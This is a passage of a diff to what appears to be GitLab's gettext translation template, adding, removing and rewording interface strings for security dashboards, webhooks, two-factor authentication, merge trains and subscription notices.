msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
